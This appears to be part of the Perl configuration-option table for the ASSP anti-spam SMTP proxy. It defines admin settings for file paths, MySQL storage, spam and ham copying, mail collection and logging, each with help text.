['DoAdditionalAnalyze','Spam and Ham Reports will trigger an additional Analyze Report ','0:NO ADDITIONAL REPORT|1:SEND TO SENDER|2:SEND TO EmailAnalyzeTo|3:SEND TO BOTH',\&listbox,0,'(.*)',undef,
  'Additional Analyze Report will be generated for Spam and Ham Reports. Setting the TO Address accordingly and choosing <b>EmailAnalyzeTo</b> will send the Analyze Report to the admin only.'],

['EmailSenderNoReply','Do Not Reply To These Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Email sent from ASSP acknowledging your submissions will not be sent to these addresses. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).<br /><hr />
  <div class="menuLevel1">Notes On Email Interface</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/emailinterface.txt\',3);" />'],


[0,0,0,'heading','File Paths'],
['base','Directory Base',40,\&textnoinput,'.','',undef,'All paths are relative to this folder.<br />
  <b>Note: Display only.</b>'],
['spamlog','Spam Collection',40,\&textinput,'spam','(\S+)',undef,'The folder to save the collection of spam emails. This directory will be used in building the spamdb. For example: spam'],
['notspamlog','Not-spam Collection',40,\&textinput,'notspam','(\S+)',undef,'The folder to save the collection of not-spam emails. This directory will be used in building the spamdb. For example: notspam'],
['incomingOkMail','OK Mail',40,\&textinput,'okmail','(.*)',undef,'The folder to save non-spam (message ok). These are messages which are considered as HAM, but are not stored in the standard HAM folder because of our policy to use only confirmed HAM messages (whitelisted or local) for SpamDB. If you want to keep copies of ok mail then put in a directory name. This directory will not be used in building the spamdb.'],
['discarded','Discarded Spam',40,\&textinput,'discarded','(.*)',undef,'The folder to save discarded spam-messages. These are Spam messages which are not stored for building the spamdb but for resending with an EmailBlockReport. If you want to keep copies of discarded Spam then put in a directory name.'],
['viruslog','Attachment/Virus Collection',40,\&textinput,'quarantine','(.*)',undef,
  'The folder to save rejected attachments and virii. Leave this blank to not save these files (default). If you want to keep copies of rejected content then put in a directory name. Note: you must create the directory. This directory will not be used in building the spamdb. For example: quarantine'],
['correctedspam','False-negative Collection',40,\&textinput,'errors/spam','(\S+)',undef,
  'Spam that got through -- counts double. This directory will be used in building the spamdb. For example: errors/spam'],
['correctednotspam','False-positive Collection',40,\&textinput,'errors/notspam','(\S+)',undef,
  'Good mail that was listed as spam, count 4x. This directory will be used in building the spamdb. For example: errors/notspam'],

['resendmail','try to resend this files',40,\&textinput,'resendmail','(\S+)',undef,
  'ASSP will try to resend the files in this directory to the original recipient. The files must have the "maillogExt" extension and must have the SMTP-format. ASSP will try to send every  file up to ten times (with 5 minutes delay). If the resend fails ten times, the file will be renamed to *.err, on success the file will be deleted!<br />
For example: resendmail. This requires an installed Email::Send module in PERL.'],
['maillogExt','Extension for Mail Files',20,\&textinput,'.eml','(\S*)',undef,
  'Enter the file extension (include the period) you want appended to the mail files in the mail collections. For Example: .eml'],
['spamdb','Spam Bayesian Database File',40,\&textinput,'spamdb','(\S+)',undef,'The output file from rebuildspamdb.pl. <hr /><div class="menuLevel1">Last Run Rebuildspamdb</div><input type="button" value="Last Run Rebuildspamdb" onclick="javascript:popFileEditor(\'rebuildrun.txt\',5);" />'],

['whitelistdb','E<!--get rid of google autofill-->mail Whitelist Database File',40,\&textinput,'whitelist','(\S+)',undef,'The file with the whitelist.<br />
  Write "mysql" to use a MySQL table instead of a local file, in this case you need to edit the MySQL parameters starting with myhost.'],
['redlistdb','E<!--get rid of google autofill-->mail Redlist Database File',40,\&textinput,'redlist','(\S+)',undef,'The file with the redlist.<br />

  Write "mysql" to use a MySQL table instead of a local file, in this case you need to edit MySQL parameters starting with myhost.<br />The Redlist serves several purposes:
<br />- the Redlist is a list of addresses that cannot contribute to the 
whitelist and which are not considered local even if their mail is 
from a local computer. For example, if someone goes on a vacation and 
turns on their autoresponder, put them on the redlist until 
they return. Then as they reply to every spam they receive they won\'t 
corrupt your non-spam collection or whitelist. There is also a redRe available where you can put some text from standard out of office messages, to automatically add a local user to the redlist when they send the out of office message, for example: \[autoreply\]
<br />- Redlisted addresses will not be added to the Whitelist.
This is used by EmailWhiteRemovalToRed to prevent repeated adding to the whitelist.
So if somebody whitelisted ebay@ebay.com you will surely remove that from the whitelist, but you can also be sure, that somebody will add that address again. Putting ebay@ebay.com into the redlist will give that pause.
<br />- Redlisted messages will not be stored in the 
SPAM/NOTSPAM-collection. '],

['ldaplistdb','LDAP/VRFY Cache',40,\&textinput,'ldaplist','(\S*)',undef,'The file with the LDAP/VRFY-cache, see also LDAPShowDB and LDAPcrossCheckInterval.'],
['ldapnotfounddb','LDAP/VRFY Not Found Cache',40,\&textinput,'ldapnotfound','(\S*)',undef,'The file with the LDAP/VRFY-NotFound-Cache, see also LDAPShowNotFound.'],

['delaydb','Delaying Database',40,\&textinput,'delaydb','(\S*)',undef,'The file with the delay database.<br />Write "mysql" to use a MySQL table instead of a local file, in this case you need to edit the MySQL parameters starting with myhost.'],
['persblackdb','Personal Blacklist Database File',40,\&textinput,'persblack','(\S*)',undef,'The file with the personal blacklist. The check of the personal black list is done shortly after the RCPT TO: command. This command will be rejected if an entry is found - any other setting except send250OK and send250OKISP will be ignored.<br />
',undef,undef,'msg009100','msg009101'],
['griplist','GReyIPlist Database',40,\&textinput,'griplist','(\S*)',undef,'The file with the current GRey-IP-List  database -- make this blank if you don\'t use it.',undef,undef,'msg005730','msg005731'],

['myhost','MySQL hostname or IP',40,\&textinput,'','(\S*)',undef,
  'You need <a
  href="http://search.cpan.org/~lds/Tie-DBI-1.02/lib/Tie/RDBM.pm"
  rel="external">Tie::RDBM</a> to use MySQL instead of local files.<br />
  This way you can share whitelistdb, delaydb and redlistdb between servers if "mysql" is written into their file-path.'],
['mydb','MySQL database name',40,\&textinput,'','(\S*)',undef,
  'This database must exist before starting ASSP,
  necessary tables will be created automatically into this database'],

['myuser','MySQL username',40,\&textinput,'','(\S*)',undef,
  'This user must have CREATE privilege on the configured database in order for tables to be created automatically'],
['mypassword','MySQL password',40,\&textinput,'','(\S*)',undef,''],

['logfile','ASSP Logfile',40,\&textinput,'logs/maillog.txt','(\S*)','ConfigChangeLogfile',
  'Blank if you don\'t want a log file. Change it to maillog.log if you don\'t want auto rollover.
  NOTE: Changing this field requires restarting ASSP before changes take effect.'],

['pidfile','PID File',40,\&textinput,'pid','(\S*)',undef,'Blank to skip writing a pid file. *nix users need pid files.
  Leave it blank in Windows.<br /> You have to restart the service before you get a pid file in the new location.<br /><hr /><div class="menuLevel1">Notes On File Path</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/filepath.txt\',3);" />'],

[0,0,0,'heading','Copy Spam/Ham'],
['sendAllSpam','Copy Spam and Send to this Address',60,\&textinput,'','(.*)',undef,
 'ASSP will deliver a copy of spam emails to this address if the collection mode in the collection section is set to do so (eg. baysSpamLog ). For example: spammonitor@example.com. The address can be different depending on the recipient. The literal USERNAME (case sensitive) is replaced by the user part of the recipient, the literal DOMAIN (case sensitive) is replaced by the domain part of the recipient. For example: USERNAME@Spam.DOMAIN, USERNAME+Spam@DOMAIN, spammonitor@DOMAIN','Basic'],
 ['ccSpamInDomain','Copy Spam and Send to this Address per Domain*',60,\&textinput,'','(.*)','configUpdateCCD',
 'ASSP will deliver an additional copy of spam emails of a domain to this address - if the domain of the recipient-address is matched. For example: monitorspam@example1.com|monitor@example2.com.'],
['sendAllDestination','SMTP Destination for Spam Copies',60,\&textinput,'','(\S*)',undef,
 'Port to connect to when  Spam messages are copied. If blank they go to the main smtpDestination. eg "10.0.1.3:1025".'],

['ccSpamFilter','Copy Spam to these Recipients Only*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'Restricts Copy Spam to these recipients. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). Wildcards are supported (fribo*@example.com).'],
['ccSpamAlways','Copy Spam to these Recipients always*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'Copy Spam to these recipients regardless of collection mode. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).  Wildcards are supported (fribo*@example.com).'],
['ccSpamNeverRe','Do Not Copy Spam Regular Expression*',60,\&textinput,'','(.*)','ConfigCompileRe',
 'Never Copy Spam regardless of collection mode. Put anything here to identify messages which should not be copied.'],
['ccMaxScore','Do Not Copy Messages Above This MessageTotal score',3,\&textinput,'','(.*)',undef,
 'Messages whose score exceeds this threshold will not be copied.  For example: 75'],
['ccMaxBytes','Cut Copied Spam to MaxBytes Lenght',0,\&checkbox,1,'(.*)',undef,
 'MaxBytes will be used to cut off copied mails, thereby reducing the load considerably.'],
['spamSubjectCC','Prepend Spam Subject to Copied Spam',0,\&checkbox,'','(.*)',undef,
 'If set spamSubject gets prepended to the subject of the copied message.'],
['spamTagCC','Prepend Spam Tag to Copied Spam',0,\&checkbox,1,'(.*)',undef,'The check which caused the spam detection will be prepended to the subject of the message. For example: [DNSBL]'],
['sendAllHamDestination','SMTP Destination for Ham Copies',60,\&textinput,'','(\S*)',undef,
 'Port to connect to when  Ham messages are copied. If blank they go to sendAllDestination. eg "10.0.1.3:1025"'],
['sendHamInbound','Copy Incoming Ham and Send to this Address',40,\&textinput,'','(.*)',undef, 'If you put an address in this box  ASSP will forward a copy of notspam messages from outside to this address. The literal USERNAME is replaced by the user part of the recipient, the literal DOMAIN is replaced by the domain part of the recipient. For example: archiv@example.com, USERNAME@mybackup.domain, catchallforthis@DOMAIN'],
['sendHamOutbound','Copy Outgoing Ham and Send to this Address',40,\&textinput,'','(.*)',undef, 'If you put an address in this box ASSP will forward a copy of outgoing notspam messages to this address. The literal USERNAME is replaced by the user part of the recipient, the literal DOMAIN is replaced by the domain part of the recipient. For example: archiv@example.com, USERNAME@mybackup.domain, catchallforthis@DOMAIN'],
['ccHamFilter','Copy Ham Filter*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'Copy Not-Spam to these addresses only. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). Wildcards are supported (fribo*@example.com).'],
['ccnHamFilter','Do Not Copy Ham Filter*',60,\&textinput,'','(.*)','ConfigMakeSLRe',
 'Do Not Copy Ham to these addresses. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). Wildcards are supported (fribo*@example.com).',undef,undef,'msg000460','msg000461'],
['ccMailReplaceRecpt','ccMail Recipient Replacement',0,\&checkbox,'','(.*)',undef,'The recipient replacement (ReplaceRecpt) rules from the "Recipients/Local Domains" section, will be used to replace ccMail recipients. For example: sendHamInbound = USERNAME@yourspamdomain.lan - in this case you are able to detect the target domain "yourspamdomain.lan" in a rule and you can replace the recipient/domain depending on its values and/or on the senders address.<br />
<hr /><div class="menuLevel1">Notes On CC Messages</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/copymail.txt\',3);" />',undef,undef,'msg000460','msg000461'],
[0,0,0,'heading','Collecting'],
['spamaddresses','SpamBucket Addresses* ',80,\&textinput,'','(.*)','ConfigMakeSLRe',
  'Mail to any of these addresses are always spam and will contribute to the spam-collection unless from someone on the whitelist. Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). '],


['noCollecting','Do Not Collect Messages from/to these Addresses*',80,\&textinput,'','(.*)','ConfigMakeSLRe','Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com).'],
['noCollectRe','Do Not Collect Messages - Content Based*',60,\&textinput,'','(.*)','ConfigCompileRe','',undef,undef,'msg008930','msg008931'],
['UseSubjectsAsMaillogNames','Use Subject as Maillog Names',0,\&checkbox,'1','(.*)','ConfigChangeUSAMN',
  'You can turn this on to help you manually identify mail in your spam and non-spam collections.',undef,undef,'msg006100','msg006101'],
['MaxAllowedDups','Max Number of Duplicate File Names',5,\&textinput,5,'(\d+)','ConfigChangeMaxAllowedDups',
  'The maximum number of logged files with the same filename (subject) that are stored in the spam folder (spamlog), if UseSubjectsAsMaillogNames is selected. A low value reduces the number of possibly duplicate mails, assuming that mails with the same subject will have the same content. A value of 0 disables this feature. If this number of files with the same filename is reached, new files will be stored in the \'discarded\' folder, which has to be defined ( in addition to spamlog ) for this feature to work.', undef, undef,'msg008660','msg008661'],
['AllowedDupSubjectRe','Regular Expression to Allow Unlimited Duplicates *',80,\&textinput,'','(.*)','ConfigCompileRe','Messages with subject matching this regular expression will be collected regardless of the setting in MaxAllowedDups .'],



['MaxFileNameLength','Max Length of File Names',10,\&textinput,30,'(\d+)',undef,
  'The maximum character count that is used from the mail subject to build the file name of the logged file, if UseSubjectsAsMaillogNames is selected. This could be usefull, if your mail clients having trouble to build the resend file name (right button - URL) correctly in block reports. Every non printable character will be replaced by a 4 byte string in this link.'],

['KeepWhitelistedSpam','Do Not Delete Whitelisted Spams',0,\&checkbox,'','(.*)',undef,
  'Mails matching  Whitelist will not be removed from the Spam folder.'],

['NoMaillog','Don\'t Collect Mail',0,\&checkbox,'','(.*)',undef,
  'Check this if you\'re using Whitelist-Only and don\'t care to save mail to build the Bayesian database.'],

['MaxFiles','Max Files',10,\&textinput,10000,'(\d+)',undef,
  'Maximum number of files to keep in each collection (spam and nonspam)
'],

['MaxBytes','Max Bytes',10,\&textinput,10000,'(\d+)',undef,
  'How many bytes of the message will ASSP look at? Mails stored in the collecting folders will be truncated to this size if StoreCompleteMail is not set.'],
['StoreCompleteMail','Store the Complete Mail','0:disabled|100000:up to 100 kByte|500000:up to 500 kByte|1000000:up to 1 MByte|10000000:up to 10 MByte|999999999:no limit',\&listbox,500000,'(.*)',undef,
  'If set, ASSP will analyze only MaxBytes of the mail, but  will store the complete mail up to the selected limit. This could be usefull for example, if you want to resend blocked messages. Be carefull using this option, your disk could be filled up very fast!'],

['baysNonSpamLog','OK Mail','0:no collection|2:notspam folder|4:okmail folder',\&listbox,4 ,'(.*)',undef,'Where to store non spam (message ok) messages. These are messages which are considered as HAM, but should not stored in the standard HAM folder because of our policy to use only confirmed HAM messages (whitelisted or local) for SpamDB. Set incomingOkMail accordingly if you choose \'okmail folder\'.'],
['NonSpamLog','Non Spam','0:no collection|2:notspam folder|4:okmail folder|6:discard folder',\&listbox,2,'(.*)',undef,'Where to store whitelisted/local non spam messages.'],
['SpamLog','Store Spam','0:disabled|1:enabled',\&listbox,1,'(.*)',undef,'Set this to \'disabled\' if you do not want to store any Spam regardless of settings in. Default: enabled (store in folder spamlog ).',undef,undef,'msg006230','msg006231'],
['noProcessingLog','NoProcessing OK Mails','0:no collection|2:notspam folder|4:okmail folder',\&listbox,0,'(.*)',undef,'Where to store noprocessing OK mails.',undef,undef,'msg006240','msg006241'],

['AttachLog','Rejected Attachments','0:no collection and no sendAllSpam|5:attachment folder|6:discard folder|7:discard folder and sendAllSpam',\&listbox,0,'(.*)',undef,'Where to store rejected mail+attachments.'],
['SpamVirusLog','Virus Infected','0:no collection and no sendAllSpam|5:quarantine|6:discard folder|7:discard folder and sendAllSpam',\&listbox,0,'(.*)',undef,'Where to store virus infected messages. '],
['spamBombLog','SpamBombs','0:no collection|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,7,'(.*)',undef,'Where to store spam bombs -> DoBombSenderRe, DoBombHeaderRe, DoBombRe.'],
['BlackReLog','Black Regular Expressions','0:no collection|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store Black Regular Expressions -> DoBlackRe.'],


['scriptLog','Scripts - DoScriptRe','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store scripted messages. '],


['blDomainLog','Blacklisted Domains - DoBlackDomain','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store blacklisted domain messages.'],
['spamHeloLog','Blacklisted Helos - useHeloBlacklist','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,7,'(.*)',undef,'Where to store spam helo messages.'],
['forgedHeloLog','Forged Helos - DoFakedLocalHelo','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,0,'(.*)',undef,'Where to store forged helo messages.'],
['invalidHeloLog','Invalid Helos - DoInvalidFormatHelo','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,7,'(.*)',undef,'Where to store invalid helo messages.'],
['spamBucketLog','Spam Collect Addresses','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,1,'(.*)',undef,'Where to store emails addressed to Spam Collect Addresses.'],
['baysSpamLog','Bayesian Spams - DoBayesian','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,7,'(.*)',undef,'Where to store Bayesian spam messages.'],

['RBLFailLog','DNSBL Failures - ValidateRBL','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store DNSBL Failure spam messages.'],
['SPFFailLog','SPF Failures - ValidateSPF','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store SPF Failure spam messages.'],
['URIBLFailLog','URIBL Failures - ValidateURIBL','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store URIBL Failure spam messages.'],
['SRSFailLog','SRS Failures - EnableSRS','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store SRS Failure (not signed bounces) spam messages.'],
['spamMXALog','Missing MX Record ','0:no collection|1:spam folder|3:spam folder &amp; sendAllSpam|6:discard folder|7:discard folder &amp; sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store Missing MX record rejected messages. Recommended: spam folder ( spamlog ) &amp; sendAllSpam',undef,undef,'msg006420','msg006421'],
['spamISLog','Invalid Local Sender - DoNoValidLocalSender','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,0,'(.*)',undef,'Where to store messages from a local domain with an unknown userpart.'],
['spamSBLog','Blocked Country - DoCountryBlocking, DoOrgBlocking','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store messages from a blocked country.'],
['spamMSLog','Message Limit Blocks - DoPenaltyMessage','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store Message Scoring Limit rejected messages. '],
['spamPBLog','PenaltyBox Blocks - DoPenalty','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,3,'(.*)',undef,'Where to store PB rejected messages.'],
['spamDenyLog','Denied IP numbers - DoDenySMTP','0:no collection and no sendAllSpam|1:spam folder|3:spam folder and sendAllSpam|6:discard folder|7:discard folder and sendAllSpam',\&listbox,7,'(.*)',undef,'Where to store IP denied  messages. '],
['BackLog','Backscatter check failed','0:no collection|1:spam folder|3:spam folder &amp; sendAllSpam|6:discard folder|7:discard folder &amp; sendAllSpam',\&listbox,6,'(.*)',undef,'Where to store FBMTV rejected messages. '],

['freqNonSpam','Non Spam Collection Frequency',5,\&textinput,1,'(.*)',\&freqNonSpam,'Store every n\'th non spam message. If you set the value to 10 then every 10th message is logged. These frequency settings are for ASSP users with a mature installation who experience heavy mail or spam volumes. Enter a larger value if the non spam corpus is being refreshed too quickly.'],
['freqSpam','Spam Collection Frequency',5,\&textinput,1,'(.*)',\&freqSpam,'Store every n\'th spam message. The same as for non spam but helps prevent spam corpuses being skewed by flooding. It is recommended that this be set depending on spam volume. <br /><hr /><div class="menuLevel1">Notes On Collecting</div><input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/collecting.txt\',3);" />'],

[0,0,0,'heading','Logging'],
['FilterLogging','Logging for filters are located in their section',0,\&checkbox,1,'(.*)',undef,'<br />Attachment ( AttachmentLog )<br />
Bayesian ( BayesianLog )<br />
Bomb ( BombLog )<br />
Connections ( ConnectionLog )<br />
Deny SMTP Connections ( denySMTPLog )<br />
DNSBL ( RBLLog )<br />
Greylisting/Delaying ( DelayLog )<br />
LDAP ( LDAPLog )<br />
Maintenance ( MaintenanceLog )<br />
Message Scoring ( MessageLog )<br />
Message-ID signing ( MSGIDsigLog )<br />
PenaltyBox Extreme ( PenaltyExtremeLog )<br />
PenaltyBox ( PenaltyLog )<br />
Relay ( RelayLog ) <br />
Report ( ReportLog )<br />
RWL ( RWLLog )<br />
SenderBase ( SenderBaseLog )<br />
Session Limit (SessionLog )<br />
SPF ( SPFLog )<br />
SSL ( SSLLog )<br />
Trap ( TrapLog )<br />
URIBL ( URIBLLog )<br />
User Validation ( ValidateUserLog )<br />
Validate Helo ( ValidateHeloLog )<br />
Validate Sender ( ValidateSenderLog )<br />
Virus Check ( ScanLog )<br />
VRFY ( VRFYLog ) '],
['Notify','Notification Email To',80,\&textinput,'','(.*)',undef,
  'Email address(es) to which you want ASSP to send a notification email, if a matching log entry ( NotifyRe , NoNotifyRe ) is found. Separate multiple entries by "|". This requires an installed Email::Send module in PERL.'],
['NotifyRe','Do Notify, if log entry matches*',60,\&textinput,'','(.*)','ConfigCompileNotifyRe','Regular Expression to identify loglines for which a notification message should be send.<br />
  usefull entries are:<br />

  autoupdate: - to get informed about an autoupdate of the running script<br />
  adminupdate: - for config changes<br />
  admininfo: - for admin information<br />
  option list file: - for option file reload<br />
  error: - for any error<br />
  restart - to detect a ASSP restart<br />
  Admin connection - for GUI logon<br />
  You may define a comma separated list (after \'=>\') of recipients in every line, this will override the default recipient defined in \'Notify\'. For example: adminupdate=>user1@yourdomain.com,user2@yourdomain.com.<br />
  As third parameter after a second (\'=>\') you can define the subject line for the notification message.<br />
  for example: adminupdate:=>user1@yourdomain.com,user2@yourdomain.com=>configuration was changed<br />
  or: adminupdate:=>=>configuration was changed.'],
['NoNotifyRe','Do NOT Notify, if log entry matches*',60,\&textinput,'','(.*)','ConfigCompileRe','Regular Expression to identify loglines for which no notification message should be send.'],
['noLog','Don\'t Log these IPs*',40,\&textinput,'','(\S*)','ConfigMakeIPRe',
  'Enter IP addresses that you don\'t want to be logged, separated by pipes (|).<br />
  This can be IP address of the SMTP service monitoring agent. For example: 145.145.145.145|145.146.','','7'],
['noLogRe', 'Regular Expression to Identify NoLog-Mails*',80,\&textinput,'','(.*)','ConfigCompileRe',
 'Put anything here to identify mails that you don\'t want to be logged.'],
['noLogLineRe', 'Regular Expression to Suppress Log-Messages*',80,\&textinput,'max errors|collect','(.*)','ConfigCompileRe',
 "Put anything here to identify log messages that you want to be suppressed. For example: max errors|collect"],
['allLogRe', 'Regular Expression to Identify Messages from/to Problematic Addresses *',80,\&textinput,'','(.*)','ConfigCompileRe',
 "Put anything here to identify mails from/to addresses you want to look at for problem solving. Mails identified will also be set to StoreCompleteMail."],

['subjectStart','Subject Start Delimiter',2,\&textinput,'[','(.*)',undef,'Start delimiter of subject in log '],
['subjectEnd','Subject End Delimiter',2,\&textinput,']','(.*)',undef,'End delimiter of subject in log'],
['regexLogging','Regex Match logging','0:nolog|1:standard|2:verbose',\&listbox,0,'(.*)',undef,'Show matching regex in log. '],

['ipmatchLogging','IP Matches Logging',0,\&checkbox,'','(.*)',undef,
  'Enables logging of IP addresses matches in the maillog. Will show a comment instead of the range if there is text after the IP ranges (and before any numbersign)  eg. 182.82.10.0/24 AOL',undef],
['slmatchLogging','Logging Address Matches',0,\&checkbox,'','(.*)',undef,
  'Enables logging of address matches in the maillog.',undef],

['uniqueIDPrefix','Prepend Unique ID logging',10,\&textinput,'m-','(.*)',undef,
  'Prepend ID. For example: m1-'],

['tagLogging','Spam Tag Logging',0,\&checkbox,1,'(.*)',undef,'Add spam tag to log.'],
['ExceptionLogging','Timeout Exception Logging',0,\&checkbox,'','(.*)',undef,''],

['replyLogging','SMTP Status Code Reply Logging','0:disabled|1:enabled - exclude [123]XX|2:enabled - all',\&listbox,1 ,'(\d*)',undef,undef,undef,undef,'msg006660','msg006661'],
['AUTHLogUser','Username Logging',0,\&checkbox,'','(.*)',undef,'Write the username for AUTH (PLAIN/LOGIN) to maillog.txt.'],
['AUTHLogPWD','Password Logging',0,\&checkbox,'','(.*)',undef,'Write the userpassword for AUTH (PLAIN/LOGIN) to maillog.txt.'],
['expandedLogging','Logging Records include IP & MailFrom',0,\&checkbox,1,'(.*)',undef,''],

['sysLog','SYSLOG Centralized Logging',0,\&checkbox,'','(.*)',undef,'Enables logging to UNIX Syslog. Needs Sys::Syslog for local (UNIX/LINUX) logging or Net::Syslog for Windows or Network logging.'],
['sysLogPort','Syslog Port (UDP)',5,\&textinput,'514','([\d\.]+)',undef,
  'Port for Syslog logging with Net::Syslog.'],
['SysLogFac','Syslog Facility',40,\&textinput,'mail','(\S*)',undef,
  'Syslog Facility. Valid are kern, user, mail, daemon, auth, syslog, lpr, news, uucp, cron, authpriv, ftp, local0, local1, local2, local3, local4, local5, local6'],
['sysLogIp','Syslog IP',40,\&textinput,'127.0.0.1','(\S*)',undef,
  'IP Address of your Syslog Daemon for Syslog logging with Net::Syslog.'],
['asspLog','ASSP local logging',0,\&checkbox,'1','(.*)',undef,'ASSP manages local logging. The logs <a href="./#logfile">are stored</a> inside the directory where ASSP is installed. This is needed if you want to use any of the "Block Reporting" and "View Maillog Tail" features like searching, deleting, moving, resending of messages.'],
['LogRollDays','Roll the Logfile How Often?',5,\&textinput,'1','([\d\.]+)',undef,
  'ASSP closes and renames the log file after this number of days.'],
['MaxLogAge','Max Age of Logfiles',10,\&textinput,60,'(\d+)',undef,
  'The maximum file age in days of logfiles. If a logfile is older than this number in days, the file will be deleted. A value of 0 disables this feature and no logfile will be deleted because of its age.'],
['LogNameMMDD','No Year in LogName',0,\&checkbox,'','(.*)',undef,'The standard name for the logfile is YY-MM-DD.maillog.txt, use this option to set it to MM-DD.maillog.txt'],
['LogDateFormat','Date/Time Format in LogDate',30,\&textinput,'MMM-DD-YY hh:mm:ss','((?:(?:MM|MMM|DD|DDD|YY|YYYY)(?:[\_\-\. ]|)){3}(?:[\-\_ ]*)(?:(?:hh|mm|ss)(?:[\.:\-\_]|)){3})',undef,'Use this option to set the logdate. The default value is \'MMM-DD-YY hh:mm:ss\'. The following (case sensitive !) replacements will be done:<br /><br />
 YYYY - year four digits<br />
 YY - year two digits<br />
 MMM - month three characters - like Oct Nov Dec<br />
 MM - month numeric two digits<br />
 DDD - day three characters - like Mon Tue Fri<br />
 DD - day numeric two digits<br />
 hh - hour two digits<br />
 mm - minute two digits<br />
 ss - second two digits<br /><br />
 <span class="positive">A value has to be defined for every part of the date/time. Allowed separators in date part are \'_ -.\' - in time part \'-_.:\' .</span>'],
['LogDateLang','Date/Time Language','0:English|1:FranÁais|2:Deutsch|3:EspaÒol|4:PortuguÍs|5:Nederlands|6:Italiano|7:Norsk|8:Svenska|9:Dansk|10:suomi|11:Magyar|12:polski|13:Romaneste',\&listbox,0,'(.*)',undef,
  'Select the language for the day and month if LogDateFormat contains DDD and/or MMM.',undef,undef,'msg008700','msg008701'],
['enableWORS','Windows Output Record Separator',0,\&checkbox,'','(.*)','ConfigChangeWors',
  'Checked means write CRLF to the end of the logfile instead of the standard LF. This can only be used if LogCharset is set to \'System Default\'.'],
['silent','Silent Mode',0,\&checkbox,'','(.*)',undef,
  'Checked means don\'t print log messages to the console. '],
['debug','General Debug Mode',0,\&checkbox,'','(.*)',\&ConfigDEBUG,
  'Checked sends debugging info to a .dbg file.
  Leave this unchecked unless there is a program error you are trying to track down.'],
['DebugRollTime','Roll the Debugfile How Often?',5,\&textinput,'1800','([\d\.]+)',undef,
  'ASSP closes and opens a new debug file after this number of seconds.'],
['Win32Debug','Win32 OutputDebugString',0,\&checkbox,'','(.*)',undef,'Make Win32 OutputDebugString available. Needs Win32::API::OutputDebugString'],

['IgnoreMIMEErrors','Ignore MIME Errors',0,\&checkbox,1,'(.*)',undef,'Errors, based on wrong email MIME contents, will not be written to log!'],
['ConTimeOutDebug','Connection Timeout Debug Mode',0,\&checkbox,'','(.*)',undef,'Select to debug SMTP connections that are running into timeout!'],


['RegExLength','RegEx Length in Log',2,\&textinput,32,'(.*)',undef,
  'Defines how many bytes of a matching Regular Expression will be shown in the log<br />
  Some matching Regular Expressions are too long for one line. Default: 32'],
['sendNoopInfo','Send NOOP Info',0,\&checkbox,'','(.*)',undef,
  'Checked means you want ASSP to send a "NOOP Connection from $ip" message to your SMTP server.
  <br /><hr />
  <div class="menuLevel1">Notes On Logging</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/logging.txt\',3);" />'],

[0,0,0,'heading','LDAP Setup '],
['LDAPLog','Enable LDAP logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],
['DoLDAP','Do LDAP lookup for valid local addresses ',0,\&checkbox,'','(.*)',undef,'Check local addresses against an LDAP database before accepting the message.<br />Note: Checking this requires filling in the other LDAP parameters like LDAPHost.<br />This requires an installed NET::LDAP module in PERL.'],
